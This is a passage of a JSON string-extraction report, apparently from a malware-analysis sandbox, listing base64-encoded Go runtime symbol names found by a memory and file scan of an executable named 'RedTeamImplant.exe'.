Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1Qcm9mQ3ljbGVIb2xkZXIpLnNldEZsdXNoZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5hbGxvY0JpdHNGb3JJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5iYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5jb3VudEFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5kZWNQaW5Db3VudGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5kaXZpZGVCeUVsZW1TaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5lbnN1cmVTd2VwdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5lbnN1cmVTd2VwdC5vc3lpZWxkLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5nZXRQaW5uZXJCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5oZWFwQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5oZWFwQml0c1NtYWxsRm9yQWRkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5pbmNQaW5Db3VudGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5pbml0SGVhcEJpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5pc0ZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5pc0ZyZWVPck5ld2x5QWxsb2NhdGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5tYXJrQml0c0ZvckJhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5tYXJrQml0c0ZvckluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5uZXdQaW5uZXJCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5uZXh0RnJlZUluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5vYmpCYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5vYmpJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5waW5uZXJCaXRTaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5yZWZpbGxBbGxvY0NhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5yZWZyZXNoUGlubmVyQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5yZXBvcnRab21iaWVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5zZXRQaW5uZXJCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5zZXRVc2VyQXJlbmFDaHVua1RvRmF1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5zZXRVc2VyQXJlbmFDaHVua1RvRmF1bHQuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS5zcGVjaWFsRmluZFNwbGljZVBvaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS50eXBlUG9pbnRlcnNPZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS50eXBlUG9pbnRlcnNPZlR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS50eXBlUG9pbnRlcnNPZlVuY2hlY2tlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1zcGFuKS53cml0ZUhlYXBCaXRzU21hbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuTGlzdCkuaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuTGlzdCkuaW5zZXJ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuTGlzdCkuaXNFbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuTGlzdCkucmVtb3Zl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuTGlzdCkudGFrZUFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuU3RhdGVCb3gpLmdldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm1TcGFuU3RhdGVCb3gpLnNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm11aW50cHRyKS5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKm5vdEluSGVhcCkuYWRk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnApLmRlc3Ryb3k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnApLmRlc3Ryb3kuZnJlZW1jYWNoZS5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnApLmRlc3Ryb3kuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnApLmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuYWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuYWxsb2NSYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuYWxsb2NUb0NhY2hl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuY2h1bmtPZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuZW5hYmxlQ2h1bmtIdWdlUGFnZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuZmluZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuZmluZC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuZmluZE1hcHBlZEFkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuZnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuZ3Jvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc2NhdmVuZ2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc2NhdmVuZ2UuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc2NhdmVuZ2VPbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc3lzR3Jvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc3lzR3Jvdy5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc3lzR3Jvdy5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc3lzR3Jvdy5mdW5jMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykuc3lzSW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VBbGxvYykudXBkYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5ibG9jazY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5jbGVhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5jbGVhckFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5jbGVhckJsb2NrNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5jbGVhclJhbmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5wb3BjbnRSYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5zZXRBbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5zZXRCbG9jazY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VCaXRzKS5zZXRSYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VDYWNoZSkuYWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VDYWNoZSkuYWxsb2NO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VDYWNoZSkuZW1wdHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhZ2VDYWNoZSkuZmx1c2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmFsbG9jQWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmFsbG9jUGFnZXM2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmFsbG9jUmFuZ2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZpbmQx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZpbmRMYXJnZU4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZpbmRTbWFsbE4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZyZWUx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLmZyZWVBbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLnBhZ2VzNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0JpdHMpLnN1bW1hcml6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0RhdGEpLmFsbG9jQWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0RhdGEpLmFsbG9jUmFuZ2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBhbGxvY0RhdGEpLmZpbmRTY2F2ZW5nZUNhbmRpZGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKlBhbmljTmlsRXJyb3IpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpQ29udHJvbGxlcikubmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpQ29udHJvbGxlcikucmVzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKlBpbm5lcikuUGlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKlBpbm5lcikuUGluLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKlBpbm5lcikuVW5waW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpbm5lcikudW5waW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpbm5lckJpdHMpLm9mT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpblN0YXRlKS5pc011bHRpUGlubmVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpblN0YXRlKS5pc1Bpbm5lZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpblN0YXRlKS5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpblN0YXRlKS5zZXRNdWx0aVBpbm5lZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBpblN0YXRlKS5zZXRQaW5uZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBsYWluRXJyb3IpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBvbGxDYWNoZSkuYWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBvbGxDYWNoZSkuZnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBvbGxEZXNjKS5pbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBvbGxEZXNjKS5wdWJsaXNoSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnBvbGxEZXNjKS5zZXRFdmVudEVycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZBdG9taWMpLmNhcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZBdG9taWMpLmxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZBdG9taWMpLnN0b3Jl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZCdWYpLmNsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZCdWYpLmhhc092ZXJmbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZCdWYpLnJlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZCdWYpLnRha2VPdmVyZmxvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnByb2ZCdWYpLndha2V1cEV4dHJh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnB1aW50cHRyKS5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJhbmRvbUVudW0pLmRvbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJhbmRvbUVudW0pLm5leHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJhbmRvbUVudW0pLnBvc2l0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJhbmRvbU9yZGVyKS5yZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJhbmRvbU9yZGVyKS5zdGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJ3bXV0ZXgpLmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJ3bXV0ZXgpLnJsb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJ3bXV0ZXgpLnJsb2NrLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnJ3bXV0ZXgpLnJ1bmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZDaHVua0RhdGEpLmFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZDaHVua0RhdGEpLmZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZDaHVua0ZsYWdzKS5pc0VtcHR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZDaHVua0ZsYWdzKS5zZXRFbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZDaHVua0ZsYWdzKS5zZXROb25FbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLmFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLmZpbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLmZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLmdyb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLm5leHRHZW4=","type":"Ansi","source":"Memory/File 